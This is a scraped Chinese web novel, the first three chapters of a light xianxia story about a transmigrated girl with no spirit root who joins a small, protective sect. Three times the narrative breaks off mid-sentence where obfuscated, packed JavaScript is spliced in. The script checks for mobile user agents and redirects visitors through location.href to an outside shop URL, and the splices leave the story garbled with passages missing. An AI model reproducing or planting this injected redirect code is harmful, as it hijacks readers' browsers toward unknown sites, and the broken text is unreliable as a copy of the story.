《别惹我,我们宗门全员不好惹》 1. 捡了个怪物回来 第一章捡了个怪物回来 墨渊是被晒醒的。 他懒洋洋翻了个身,龙尾巴从石头上滑下来,继续睡。 然后灵汐的声音传过来:“掌门,捡到个有意思的。” “不捡。” “真的有意思。” “不捡。” “她把青云宗外门弟子揍了十几个。” 墨渊睁开一只眼。 灵汐笑眯眯递过来一块留影石——画面里,一个十五六岁的小姑娘被一群青云宗弟子围着。 “偷我们丹药,交出来!” “不交。”小姑娘表情淡定。 “你一个炼气期废物——” 话没说完,领头弟子飞了出去。 没人看清怎么出的手。 接下来是单方面暴打。小姑娘下手极狠,招招往疼处打,打完还把人扒得只剩中衣,丹药全搜走。 “青云宗?”她拍拍手,语气平淡,“记住了,我叫凌砚。想报仇可以,带钱来。” 墨渊看完,沉默两秒。 “……这性格。” “像咱们宗的。”灵汐接话,“而且我查了,无灵根,纯凡体,全靠脑子打。” “凡体?”墨渊坐起来,“那她怎么赢的?” “她把聚灵阵刻在鞋底,打架的时候偷偷激活,短时间爆发灵气。还用药粉迷眼睛,用灵石摆简易困阵——”灵汐笑得意味深长,“全是没人见过的打法。” 墨渊沉默。 然后问:“人呢?” “门口站着。” “带进来。” 凌砚被带进来的时候,正打量四周。 风景不错,灵气浓得离谱,两个人躺在石头上晒太阳。 嗯,躺平摸鱼的宗门,适合自己。 “你知道自己是凡体吗?”墨渊问。 “知道。” “修仙界不要凡体。” “哦。”凌砚点头,“那我走。” 转身就走。 “等等。”墨渊叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323561|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住她,“你不好奇我为什么叫你进来?” “好奇。”凌砚回头,“但你说了算,又不是我说了算。” 墨渊愣了下,忽然笑了。 凡体,没灵根,被整个修仙界嫌弃,还能活得这么理直气壮。 像他们宗的人。 “留下来。” “嗯?” “无妄宗,人少,钱多,规矩三条。”墨渊掰手指,“一,只收怪物不收凡人。二,谁骂宗门全宗上去揍。三——” 灵汐接话:“小师妹最大,谁都不能欺负。” 凌砚眨眨眼。 “我是小师妹?” “最小的那个。” 凌砚想了想,问:“那我能揍刚才那帮人吗?他们骂我废物。” 墨渊翻身继续晒太阳:“随便揍,揍不过我们上。” 凌砚眼睛亮了。 当天下午,青云宗收到一份拜帖。 落款:无妄宗·小师妹。 附言:来收医药费。 2. 师兄姐们的见面礼 凌砚在无妄宗的第一天,从一顿早饭开始。 准确说,是从被投喂开始。 “小师妹,尝尝这个。” 四师姐沈清和把一碗粥推到她面前,笑得温柔,“灵植熬的,养神。” 凌砚低头看了一眼。 粥是淡金色的,冒着热气,闻起来……有点香得过分。 她刚拿起勺子,门外传来一道冷冰冰的声音: “让开。” 然后门帘被掀开,一个人走进来。 黑衣,高马尾,脸上没什么表情,周身带着一股刚练完剑的凌厉气息。 凌砚认出来了——大师姐谢无妄。 谢无妄走到她面前,低头看她。 两秒。 凌砚被看得有点发毛,刚想开口,谢无妄忽然抬手。 一枚玉佩落在她面前。 “护身的。”谢无妄说,声音冷得像冰碴子,“戴好。” 说完转身就走。 凌砚愣了愣:“……谢谢大师姐?” 谢无妄没回头,但脚步顿了一下。 “有事叫我。”顿了顿,“打不过也叫。” 然后出去了。 凌砚低头看玉佩,入手温润,上面刻着复杂纹路——她下意识开始分析:这纹路像是防御阵法,但又叠加了攻击反弹,材质是…… “大师姐送的?”三师兄温寻不知道什么时候凑过来,笑得一脸狐狸样,“小师妹面子大啊,那块玉她炼了三年,自己都没舍得戴。” 凌砚:“……?” 三?年? 她刚想说什么,门外又传来脚步声。 这次进来的是个穿青衣的青年,头发有点乱,眼下有淡淡的青黑,手里拿着个……不知道什么东西。 二师兄苏折。 他走到凌砚面前,把那东西往桌上一放。 “戴上。” 凌砚低头看。 是一个手环,银色的,表面有细密的纹路在流动。 “什么功能?”她问。 苏折看了她一眼,眼神像是在说“你居然问这种问题”,但还是开口了: “防御、隐匿、聚灵、自动反击、定位、传讯、净化、解毒——” 他一口气说了十几个功能,最后补充: “遇到危险会自动传送回宗门,传送距离三千里内有效。传送不了就开防护罩,能扛化神一击。扛不住就自动呼叫全宗定位,谁离得近谁去救。救不了就自爆,能拉一个垫背的。” 凌砚:“…………” “有问题?” “没。”凌砚默默把手环戴上,“谢谢二师兄。” 苏折点点头,转身就走,走到门口又停住。 “那个粥。”他没回头,“四师妹熬的,喝完。对身体好。” 然后出去了。 凌砚低头看粥,又看手环,又看玉佩。 三师兄在旁边笑得不行:“习惯就好,二师兄就这样,嘴上不说,心里把你排第一。他那手环平时排队都排不到,掌门要他都得等三年。” 凌砚:“……三年?” “起步价。”三师兄摊手,“所以你看,你一来就拿到现货,他昨晚肯定通宵赶的。” 凌砚沉默了。 她低头看手环,上面的纹路确实很新,还有些细微的毛刺没打磨干净。 通宵…… “行了行了,别感动了。”三师兄拍拍她肩膀,“还有我呢,三师兄的见面礼比较实在——” 他掏出一个乾坤袋,往桌上一倒。 哗啦啦—— 一堆灵石滚出来,还有几块令牌、一沓拜帖、几张地契。 “钱。”三师兄笑眯眯,“三万上品灵石,五域通用的身份令牌七块,各大商行VIP黑卡四张,东域海边别院一座,西域安全屋三间——都是你的。” 凌砚看着桌上那堆东西。 “……” “怎么?嫌少?” “不是。”凌砚抬头看他,表情复杂,“三师兄,你是……搞批发的?” 三师兄一愣,然后笑得直拍大腿。 “哈哈哈哈哈哈有意思!小师妹有意思!” 他笑够了,凑近一点,压低声音: “实话跟你说,咱们宗人少,但钱多。掌门有个空间宝库,长老有片神药田,二师兄随便炼个器都能卖出天价——我是专门负责搞钱的,所以你不用省,随便花。” 凌砚默默把桌上的东西往乾坤袋里收。 “谢谢三师兄。” “客气啥。”三师兄往后一靠,“对了,大师姐二师姐都给了,四师姐的粥你也喝了,就差四师姐的正式见面礼——她那人慢热,估计晚上会单独找你。” 话音刚落,门帘又掀开了。 沈清和端着个托盘进来,上面放着几碟小菜。 “聊什么呢?”她把小菜摆到凌砚面前,轻声说,“别光喝粥,吃点菜。都是我自己种的,不伤根基。” 凌砚看着面前摆得整整齐齐的四碟小菜,颜色清爽,香味清淡。 她忽然有点不知道该说什么。 穿越到这个世界大半个月,被追杀过,被骂过废物,被十几个人围着抢过——这还是第一次有人给她做早饭。 “……谢谢四师姐。” 沈清和笑了笑,在她旁边坐下。 “不用谢。以后想吃什么跟我说,别吃外面的,脏。” “好。” “受伤了第一时间找我,别扛着。” “好。” “心情不好也找我,不想说就不说,我陪你坐着。” “……好。” 三师兄在旁边看着,忽然啧啧两声: “四师妹,你这是要抢人啊?我们刚送完见面礼,你就开始走心了?” 沈清和看了他一眼,语气还是温温柔柔的: “三师兄,你上次受伤是谁救的?” “……你。” “前年你被人追杀,是谁去接的你?” “……也是你。” “那我现在和小师妹说几句话,有问题吗?” “……没。” 三师兄闭嘴了。 凌砚低头喝粥,嘴角压了压,没压住。 这个宗门…… 好像真的有点意思。 --- 早饭吃完,三师兄被派出去收账,四师姐去照看药田,凌砚一个人坐在院子里发呆。 阳光很好。 空气很好。 灵气浓得吸一口都像在喝补药。 她靠在椅子上,眯起眼睛晒太阳。 舒服。 太舒服了。 穿越以来天天逃命,这还是第一次能躺着不动。 她正想着要不要睡个回笼觉,忽然感觉身边多了个人。 睁眼一看—— 掌门墨渊不知道什么时候躺到了旁边的石头上,也是眯着眼睛晒太阳的姿势,手里还拿着个酒葫芦。 两人就这么并排躺着,谁也不说话。 过了好一会儿,墨渊开口了: “手环戴了?” “戴了。” “玉佩呢?” “挂着。” “嗯。” 又安静了一会儿。 墨渊:“感觉怎么样?” 凌砚想了想:“……挺好的。” “具体点。” “大师姐看着冷,其实心软。二师兄话少,但活干得最多。三师兄看着不靠谱,但办事应该极稳。四师姐……”她顿了下,“温柔得让人想哭。” 墨渊听完,慢悠悠喝了口酒。 “还有呢?” 凌砚转头看他。 墨渊没睁眼,但嘴角微微勾着。 凌砚沉默两秒,忽然笑了。 “还有——掌门你,好像比我想的靠谱一点。” 墨渊睁眼看她。 “怎么说?” “你捡我回来,不是因为可怜我,也不是因为觉得我有用。”凌砚语气平淡,“你就是觉得我这个人有意思,想让我留下来。至于我能不能变强,能给宗门带来什么——你根本不在乎。” 墨渊看着她。 凌砚也看着他。 两秒后,墨渊笑了。 “行。”他又闭上眼,“没白捡。” 凌砚也继续晒太阳。 过了会儿,她忽然问: “掌门,我能问个问题吗?” “问。” “你第一眼看我的时候,是不是看出什么了?” 墨渊没回答。 凌砚等了一会儿,转头看他。 他好像睡着了。 凌砚盯着他看了两秒,收回视线。 算了。 不想说就不说。 反正—— 她摸了摸手腕上的手环,又摸了摸腰间的玉佩。 反正不管自己是什么,这个宗门已经收了。 这就够了。 --- 傍晚的时候,四师姐果然来找她了。 “小师妹,跟我来。” 沈清和带着她穿过几条小路,来到一片药田边上。 药田不大,但灵气浓得几乎要凝成雾。各种没见过的灵植整整齐齐种着,在夕阳下泛着各色的光。 沈清和从怀里取出一个小盒子,递给她。 “见面礼。” 凌砚接过,打开。 里面是一颗拇指大小的珠子,透明的,里面有淡淡的金色在流动。 “这是……” “鲛人泪。”沈清和轻声说,“我成年前最后一颗泪。戴在身上,能清心、净魂、辟邪。如果你哪天走火入魔,它能保你神智不散。” 凌砚抬头看她。 沈清和笑了笑,笑容还是那么温柔。 “我们鲛人一生只哭三次。出生一次,成年一次,死前一次。这是我第二次哭的泪,送给你。” 凌砚低头看那颗珠子。 透明的,金色的,小小的。 但好像有千斤重。 “……四师姐。”她声音有点哑。 “嗯?” “我不知道该说什么。” 沈清和伸手,轻轻揉了揉她的头发。 “那就什么都不用说。”她笑着,“你是我们的小师妹,这就够了。” 凌砚低着头,好一会儿没动。 沈清和也不催她,就站在旁边等着。 夕阳慢慢沉下去,药田里的灵植开始发出微弱的光。 过了很久,凌砚抬起头。 眼眶有点红,但没哭。 “四师姐。”她认真地说,“以后谁欺负你,我弄死他。” 沈清和愣了一下,然后笑出声。 “好。”她笑着点头,“我等小师妹保护我。” --- 那天晚上,凌砚躺在自己的新房间里,盯着天花板发呆。 手环戴着。 玉佩挂着。 鲛人泪贴身放着。 乾坤袋里还有一堆灵石和地契。 她忽然想起穿越第一天,被人追着骂“废物”的时候。 那时候她想的是:行,一个人就一个人,大不了苟着发育。 但现在—— 她摸了摸胸口的位置。 那颗鲛人泪好像有点烫。 不对,是心有点烫。 凌砚翻了个身,把脸埋进枕头里。 闷闷的声音传出来: “……烦死了,才第一天就搞这么煽情。” 门外。 四道身影几乎同时出现。 谢无妄冷着脸:“她说烦?” 苏折皱眉:“是不是东西给少了?” 温寻摸着下巴:“不应该啊,我的钱给得很到位啊。” 沈清和笑着摇头:“不是烦,是感动。” 三人看她。 沈清和轻声说:“咱们小师妹,以前没人对她这么好。” 三人沉默了。 过了会儿,谢无妄转身就走。 “我去练剑。” 苏折也走。 “我去炼器。” 温寻想了想。 “那我去……再搞点钱?” 沈清和笑着把他们一个个推走。 “行了行了,都回去睡觉,让小师妹好好休息。” 门外的动静渐渐消失。 凌砚在屋里,嘴角悄悄翘起来。 这群人—— 真是的。 --- 第二天一早。 凌砚刚醒,就听到外面传来一阵喧哗。 她推门出去。 三师兄温寻正站在院子里,手里拿着一张拜帖,笑得一脸狐狸相。 “小师妹,醒了?” “怎么了?” 温寻把拜帖递给她。 凌砚低头一看,愣了。 上面写着—— 青云宗·外门执事 前来拜会无妄宗 关于昨日弟子被打一事 望给个交代 凌砚看完,抬头看他。 “来报仇的?” 温寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是我。” “你好大的胆子——” 凌砚打断他: “等一下,我问你个问题。” 中年男人一愣。 “什么问题?” 凌砚指了指身后四个人。 “你知道他们是谁吗?” 中年男人皱眉。 “无妄宗的弟子?” “对。”凌砚点头,“但你知道他们什么修为吗?” 中年男人脸色一变。 他刚才只顾着看那个凡人小丫头,根本没注意后面四个人—— 现在一看,冷汗下来了。 那个黑衣冷脸的女人,他看不透。 那个满眼血丝的男人,他看不透。 那个笑眯眯拿扇子的,他还是看不透。 唯一看着温柔的那个—— 他多看了一眼,对方冲他笑了笑。 他忽然感觉后背发凉。 凌砚看着他的表情变化,慢悠悠补了一句: “对了,我掌门和长老今天没空见你。但你要不要见,他们说了算。” 中年男人咽了口唾沫。 “你、你想怎样?” 凌砚想了想。 “昨天那些人的医药费,带了吗?” “……” “没带?” “带、带了。” “那道歉呢?” “道、道什么歉?” 凌砚指了指自己。 “他们骂我废物,不应该道歉?” 中年男人脸色涨红。 “你——你别欺人太甚!我青云宗可是正道三宗之一——” “我知道啊。”凌砚点头,“但那是你们宗门,又不是我宗门。” 她往前走了半步。 “我宗门叫无妄宗。” “规矩只有三条。” “第一条,只收怪物不收凡人。” “第二条,谁骂我们宗门,全宗上去揍。” “第三条——” 她回头看了一眼身后的人。 谢无妄的剑已经出鞘半寸。 苏折手里不知何时多了个巴掌大的圆球。 温寻的扇子不摇了。 沈清和还在笑,但眼睛没笑。 凌砚转回头,看着对面脸色发白的二十三个人。 “第三条,小师妹最大,谁都不能欺负。” “所以——” 她笑了笑。 “医药费留下,道歉说完,然后滚。” “或者,你们二十三个一起上。” “我们五个接。” “选一个。” 山门外安静了。 风都停了。 过了很久—— 中年男人默默掏出一个乾坤袋。 然后带着二十一个人,齐刷刷鞠了一躬。 “对不起。” 凌砚接过乾坤袋,掂了掂。 “行了,滚吧。” 二十三个人跑得比来的时候快多了。 凌砚转身,把乾坤袋往温寻手里一塞。 “三师兄,入账。” 然后往宗门里走。 “早饭吃太饱,回去躺会儿。” 身后四个人互相看了一眼。 谢无妄嘴角微微动了一下——疑似在笑。 苏折打了个哈欠,把圆球收起来。 温寻掂着乾坤袋,笑得见牙不见眼。 沈清和轻轻叹了口气,笑着跟上去。 “小师妹,中午想吃什么?” “随便,四师姐做的都行。” “那吃鱼?我刚养的几尾灵鲤差不多能吃了。” “好。” 声音渐渐远去。 山门外,阳光正好。 无妄宗的第二天,就这么过去了。 3. 三师兄的情报网 凌砚在无妄宗的第三天,是被吵醒的。 不是外面有敌人。 是温寻的声音从院子里传进来,又急又亮: “小师妹!小师妹!快出来看热闹!” 凌砚睁开眼,盯着天花板看了两秒。 然后翻身,把被子蒙到头上。 门外安静了一瞬。 然后—— “小师妹,真的大热闹!西域那边打起来了!打得很凶!我的人刚传回来的留影石,你要不要看?” 凌砚继续蒙着被子。 “小师妹,你不看我就拿去给掌门看了——” “掌门不会看的。” “……你说得对。” 门外沉默了两秒。 然后温寻的声音又响起来,这次带点委屈: “小师妹,我一个人看热闹没意思。” 凌砚叹了口气。 掀被子,起床,推门。 温寻站在院子里,笑得一脸灿烂,手里举着块留影石。 “早啊小师妹!” 凌砚看着他,表情平静。 “三师兄,现在卯时刚过。” “对啊,早起的鸟儿有虫吃!” “我不是鸟。” “但你有热闹看。” 凌砚盯着他看了两秒。 然后走过去,在院子里的石凳上坐下。 “放。” 温寻立刻凑过来,把灵气注入留影石。 画面在空中展开—— 是一片荒漠,两拨人对峙。 左边的人穿着统一的红色袍子,胸口绣着火焰纹。 右边的人穿着杂色衣服,看起来像散修联盟。 “这是西域荒古边缘。”温寻解说,“红衣服的是赤炎宗,正道三宗的小弟之一。另一边是当地散修,发现了一处上古遗迹。” 凌砚看着画面:“遗迹?” “对。据说是上古某个炼器大师的洞府。”温寻笑得意味深长,“然后赤炎宗说,这是正道共有财产,散修没资格进。” 凌砚挑眉。 “然后呢?” 画面继续—— 散修那边显然不服,领头的是个中年女人,脸色铁青,正在说着什么。 赤炎宗那边的人不屑地笑着,然后—— 画面一花。 等画面再稳下来,散修那边已经倒了三四个人。 凌砚眯起眼睛。 “直接动手?” “对。”温寻收起留影石,“我的人传回来的消息是,赤炎宗这次去了五十个人,最低金丹,领头的是个元婴长老。散修那边二十三个,最高才金丹后期。” 凌砚没说话。 温寻看着她,笑得意味深长: “小师妹,你知道这意味着什么吗?” “意味着那个遗迹里的东西,散修拿不到了。” “对。但不止。” 温寻把留影石收起来,从怀里摸出另一块。 “这块是昨天晚上的。” 凌砚接过,注入灵气。 画面里是那个散修女领队,浑身是血,跪在地上。 旁边站着赤炎宗的长老,居高临下看着她。 声音从画面里传出来: “你们这些散修,也配染指上古传承?今天饶你一命,回去告诉你那些同类——西域的遗迹,全是正道三宗的。想活命,滚远点。” 画面结束。 凌砚沉默。 温寻也不说话,就坐在旁边看着她。 过了好一会儿,凌砚开口: “那个人,叫什么?” “哪个?” “那个女领队。” 温寻眨了眨眼,笑了。 “她叫孟晚,金丹后期,散修,在西域混了三十多年,口碑不错,从不欺负弱小,也从不巴结大宗门。” 凌砚转头看他。 “你怎么知道这么清楚?” 温寻笑得一脸狐狸相。 “小师妹,你三师兄我,别的不行,搞情报是专业的。” 他往前凑了凑,压低声音: “整个修真界,五大域,大小势力三百七十二个,有名有姓的修士八千多人——只要我想查,就没有查不到的。” 凌砚看着他。 “包括我们宗?” 温寻一愣,然后笑出声。 “小师妹,你这话问的——” 他往后一靠,扇子摇起来。 “咱们宗的事,我一个字都不会往外说。这是底线。” 凌砚点点头。 然后又问: “那个孟晚,现在在哪?” 温寻眼睛亮了。 “怎么,小师妹想管?” “先问问。” 温寻扇子一合。 “她现在在西域荒古城,一家叫‘归云’的客栈养伤。同行的人死了七个,剩下的也散了,就剩她一个人。” 凌砚沉默。 温寻看着她,忽然说: “小师妹,你想帮她?” 凌砚没回答。 温寻笑了。 “行,我陪你。” “陪我什么?” “陪你去西域啊。”温寻站起来,拍拍衣服,“反正最近没事,出去走走也好。而且——” 他凑近一点,压低声音: “二师兄最近炼器炼得走火入魔,天天砸东西;大师姐练剑练得杀气外泄,灵汐长老的菜园都被她削了一半;四师妹虽然不说,但天天看着药田发呆,估计也想出去透透气。” 凌砚愣了一下。 “所以……” “所以咱们干脆一起出去。”温寻笑得灿烂,“就当宗门团建。” 凌砚沉默两秒。 “掌门同意?” “掌门?”温寻挑眉,“掌门说了,小师妹想去哪就去哪,他不管。” “……” “长老也说了,出去可以,别吃亏,吃亏了传讯,她来收场。” “……” 凌砚看着他,忽然笑了。 “三师兄,你是不是早就想出去了?” 温寻扇子摇得飞快。 “没有没有,我就是想陪小师妹。” “真的?” “……好吧,我确实想出去。”他压低声音,“西域那边最近有大动静,我想亲自去看看。” 凌砚挑眉。 “什么大动静?” 温寻神秘兮兮地凑过来: “有人在查无妄宗。” 凌砚眼神一凝。 “谁?” “还不确定。”温寻收起扇子,“但我的人查到,最近三个月,有人在五大域同时打听无妄宗的消息——问宗门位置,问宗门人数,问宗门实力。” 凌砚皱眉。 “问这些干什么?” “不知道。”温寻摇头,“所以我得亲自去看看。” 凌砚沉默了一会儿。 然后站起来。 “什么时候走?” 温寻眼睛亮了。 “现在。” “现在?” “对,我已经让人准备好飞舟了,就在山门外。”温寻笑得像只狐狸,“大师姐二师姐四师妹已经在等你了。” 凌砚看着他。 “三师兄,你是不是早就计划好了?” “没有没有。” “真的?” “……好吧,有一点。” 凌砚盯着他看了两秒。 然后转身往房间走。 “我去换身衣服。” 温寻在身后喊: “小师妹,快一点!飞舟上有早饭!四师妹亲手做的!” 凌砚没回头,但嘴角翘了一下。 --- 半个时辰后。 一艘飞舟从无妄秘境升起,悄无声息地没入云层。 飞舟不大,但很稳。 甲板上,凌砚靠着栏杆,看着下面越来越小的山脉。 身后传来脚步声。 沈清和走到她旁边,递过来一个食盒。 “刚做的,趁热吃。” 凌砚接过,打开。 里面是几样精致的点心,还有一壶热茶。 “谢谢四师姐。” 沈清和笑了笑,在她旁边站定。 “第一次出远门?” “嗯。” “紧张吗?” 凌砚想了想。 “有点。” 沈清和转头看她,目光温柔。 “不用紧张,有我们在。” 凌砚低头咬了一口点心。 点心是甜的,但心里更暖。 她忽然想起什么,抬头问: “四师姐,你知道有人在查我们宗门吗?” 沈清和点头。 “三师兄说了。” “你怎么看?” 沈清和沉默了一会儿。 然后轻声说: “不管是谁,不管想干什么——” 她笑了笑,还是那么温柔,但眼底有点不一样的东西。 “敢动我家人,我不会让他活着回去。” 凌砚看着她。 沈清和也看着她。 两秒后,凌砚笑了。 “四师姐,你这话说出来,我忽然觉得该紧张的是对面。” 沈清和愣了一下,然后笑出声。 “小师妹,你说话真有意思。” 两人站在甲板上,迎着风,看着云海。 飞舟往西,越飞越远。 --- 船舱里。 谢无妄盘腿坐着,剑横在膝上,闭目养神。 苏折缩在角落里,手里拿着个半成品的法器,不知道在捣鼓什么。 温寻坐在窗边,拿着一张地图看。 “还有多久?”谢无妄忽然开口。 “按这个速度,明天下午能到荒古城。”温人头也不抬。 谢无妄睁开眼。 “太慢。” “大姐,这是飞舟,不是你的剑。”温寻无奈,“你要是想快,可以自己飞过去,但小师妹怎么办?” 谢无妄沉默了。 然后又闭上眼。 温寻摇摇头,继续看地图。 角落里,苏折忽然开口: “那个人。” 三人看向他。 苏折头也不抬,手里继续捣鼓法器。 “查咱们的人,我大概知道是谁。” 温寻眼睛一亮。 “谁?” 苏折沉默了两秒。 然后说: “不确定。但我在炼器的时候,感应到有人用追踪法器查过我。” 他顿了顿,终于抬起头。 眼睛里有血丝,但很清醒。 “那件法器,是我炼的。” 船舱里安静了一瞬。 温寻皱眉:“你炼的?卖给谁了?” “十年前,卖给了中域的一个商人。”苏折说,“那商人说自用,我就没多问。” “现在呢?” “现在那法器被人改过,加了追踪功能。”苏折低头继续捣鼓,“能改我法器的人,修真界不超过五个。” 谢无妄睁开眼。 “哪五个?” 苏折报出五个名字。 温寻听完,脸色变了变。 “里面有个名字……是凌霄阁的?” 苏折点头。 “凌霄阁,炼器峰首座,裴元。” 温寻沉默。 谢无妄站起来。 “凌霄阁?” “只是可能。”苏折说,“也可能是有人嫁祸。” 谢无妄没说话,但手按上了剑柄。 温寻连忙摆手: “大姐别冲动,还没确定呢。” 谢无妄看了他一眼。 那眼神的意思是:确定的时候,剑就出去了。 温寻苦笑。 然后转头看向窗外。 飞舟还在云层里穿行,往西,往未知的方向。 他忽然有点期待—— 这一趟,到底会遇到什么? --- 甲板上。 凌砚吃完点心,靠着栏杆发呆。 沈清和已经下去休息了,就剩她一个人。 风吹过来,有点凉。 她摸了摸手腕上的手环,又摸了摸腰间的玉佩,最后摸了摸胸口那颗鲛人泪。 都在。 她忽然想起穿越前的日子。 那时候她也是个普通人,上班下班,挤地铁,吃外卖,一个人住。 没想到穿越到修仙界,反而有了家人。 一群怪里怪气的家人。 但都是好人。 她笑了笑,抬头看天。 云层很厚,看不到太阳,但光线还是透下来,把云染成金色。 好看。 她正想着,身后传来脚步声。 温寻走过来,在她旁边站定。 “小师妹,想什么呢?” “想以前的事。” “以前的事?”温寻好奇,“你以前什么样?” 凌砚想了想。 “上班,赚钱,一个人。” 温寻愣了一下。 然后笑了。 “那现在呢?” 凌砚也笑了。 “现在?” 她回头看了一眼船舱的方向。 “现在有五个人等我回去吃饭。” 温寻笑出声。 “就五个?掌门和长老不算?” “他们?”凌砚想了想,“掌门估计在晒太阳,长老估计在浇花。他们不吃饭。” “也是。” 两人站在甲板上,一起看云。 过了会儿,温寻忽然说: “小师妹,到了西域,你跟紧我。” “怎么了?” “那边乱,什么人都有。”温寻收起笑,“而且有人在查咱们,得小心点。” 凌砚点头。 “好。” 温寻看了她一眼,忽然笑了。 “不过也不用太紧张。真出事了,有大师姐顶着。大师姐顶不住,有掌门。掌门顶不住——” 他顿了顿,笑得意味深长: “长老说她很久没活动筋骨了。” 凌砚挑眉。 “长老很能打?” 温寻凑近一点,压低声音: “我跟你讲,你别告诉别人——十年前有个宗门想抢咱们的药田,长老一个人去的,回来的时候那个宗门没了。” 凌砚:“……没了?” “没了。”温寻认真点头,“连山门都没了。掌门后来还抱怨她下手太重,说留着山门还能当仓库。” 凌砚沉默。 温寻笑着拍拍她肩膀。 “所以你看,咱们宗虽然人少,但没人惹得起。” 凌砚想了想。 “那现在有人在查咱们——” “对,所以有意思。”温寻笑得眯起眼,“敢查咱们的人,要么是傻子,要么是背后有人。” 他看向远方。 “我想知道,到底是哪一种。” --- 飞舟继续往西。 云层渐渐薄了,可以看到下面的山脉。 西域的地貌和中域不一样,山更高,更陡,颜色也更深。 凌砚看着下面,忽然想起什么。 “三师兄,那个孟晚,她伤得重吗?” 温寻想了想。 “我的人说,挺重的。金丹差点碎了,经脉也断了几根。如果不及时治,可能修为尽废。” 凌砚沉默。 温寻看着她。 “小师妹,你想救她?” 凌砚没回答。 温寻笑了。 “行,那就救。” “为什么?” “什么为什么?” 凌砚转头看他。 “三师兄,你好像从来不问我为什么想做什么。” 温寻愣了一下。 然后笑出声。 “小师妹,你这话问的——” 他摇摇扇子,慢悠悠说: “咱们宗规矩第三条是什么?” 凌砚想了想。 “小师妹最大,谁都不能欺负。“对。”温寻点头,“所以你的事,就是全宗的事。你想做什么,我们就陪你做什么。不用问为什么。” 凌砚看着他。 温寻也看着她,笑眯眯的。 过了会儿,凌砚移开视线。 “三师兄,你有时候还挺靠谱的。” “什么叫有时候?”温寻不满,“我一直很靠谱好不好?” “行行行,一直靠谱。” “这还差不多。” 两人又站了一会儿。 凌砚忽然说: “我想救她,是因为她那种眼神。” “什么眼神?” “就是一个人被欺负了,但还不肯低头的那种眼神。”凌砚轻声说,“我以前也有过。” 温寻没说话。 凌砚继续说: “穿越过来第一天,我被人追着骂废物。那时候我也没低头。但我知道,如果没人帮我,我可能撑不了多久。” 她顿了顿。 “她比我幸运。她撑了三十多年。” “但现在,她需要有人拉一把。” 温寻听完,沉默了一会儿。 然后笑了。 “小师妹,你知道你和别人最大的区别是什么吗?” “什么?” “别人看到这种事,要么躲,要么骂两句,然后该干嘛干嘛。”温寻说,“但你不一样,你会想:我能做什么?” 凌砚愣了一下。 温寻笑着拍拍她肩膀。 “挺好的,继续保持。” 他转身往船舱走。 “我去告诉大师姐她们,到了荒古城,先救人。” 凌砚看着他的背影。 忽然喊了一声: “三师兄。” 温寻回头。 “嗯?” 凌砚笑了笑。 “谢谢。” 温寻愣了一下,然后摆摆手。 “谢什么,一家人。” 他进去了。 凌砚站在甲板上,风吹过来,比刚才暖和了一点。 她抬头看天。 云还是那么厚,但光线越来越强。 快到西域了。 --- 第二天下午。 飞舟降落在荒古城外。 五个人下了飞舟,温寻把飞舟收进乾坤袋。 凌砚看着前面的城。 城墙很高,颜色发黄,看起来有些年头了。城门开着,人来人往,各种穿着打扮的人都有。 “这就是荒古城?” “对。”温寻点头,“西域最大的散修聚集地,也是消息集散地。在这里,只要有钱,什么都能买到。” 凌砚看着来来往往的人。 有穿得破破烂烂的散修,有衣着华贵的商人,有蒙着脸不知道什么来路的人,还有几个明显是妖族的—— 等等。 凌砚盯着其中一个。 那人长着一对毛茸茸的耳朵,尾巴也没收起来,大摇大摆从城门走过,旁边的人看了一眼,继续走自己的。 “妖族可以随便进城?” “可以。”温寻说,“荒古城不看出身,只看实力和钱。只要有这两样,就算你是魔修,也没人管你。” 凌砚点点头。 这地方,有点意思。 五人往城门走。 刚走到门口,忽然被拦住了。 守门的是个中年男人,金丹初期修为,看了他们一眼。 “新来的?” 温寻笑着上前。 “对,来做点生意。” “做什么生意?” “收点货,卖点东西。” 守门人上下打量他们。 目光在谢无妄身上停了两秒,又看了看苏折,最后落在凌砚身上。 “这个……凡人?” 温寻笑容不变。 “我妹妹,带出来见见世面。” 守门人盯着凌砚看了几秒。 凌砚面无表情看着他。 过了一会儿,守门人移开视线。 “进去吧。规矩知道吗?” “知道。” “行,交钱。” 温寻掏出一块灵石递过去。 守门人接过,摆摆手。 五人进了城。 凌砚回头看了一眼。 守门人还在盯着他们的背影看。 她收回视线。 “三师兄,那个守门人有问题。” 温寻点头。 “我知道。” “他盯着我看了很久。” “因为你是‘凡人’。”温寻说,“荒古城虽然不看出身,但凡人确实少见。他多看你两眼正常。” “不止。”凌砚皱眉,“他看我的眼神,像是在确认什么。” 温寻脚步一顿。 转头看她。 “确认什么?” 凌砚摇头。 “不知道。但我觉得——” 她顿了顿。 “他认识我。” 温寻眼神变了。 旁边的谢无妄手按上剑柄。 “回去问清楚?” 凌砚想了想。 “不用。先办正事。” 她看向温寻。 “三师兄,归云客栈在哪?” 温寻沉默了两秒。 然后指向城东方向。 “那边,三条街外。” 凌砚点头。 “走。” 五人穿过街道,往城东走。 一路上,凌砚注意观察四周。 荒古城确实乱。 街上什么人都有,有摆摊卖丹药的,有当街打架的,有喝醉了躺在地上的,还有几个明显是追债的,追着一个人满街跑。 但没人管。 或者说,没人敢管。 凌砚正看着,忽然被人撞了一下。 她下意识退了一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 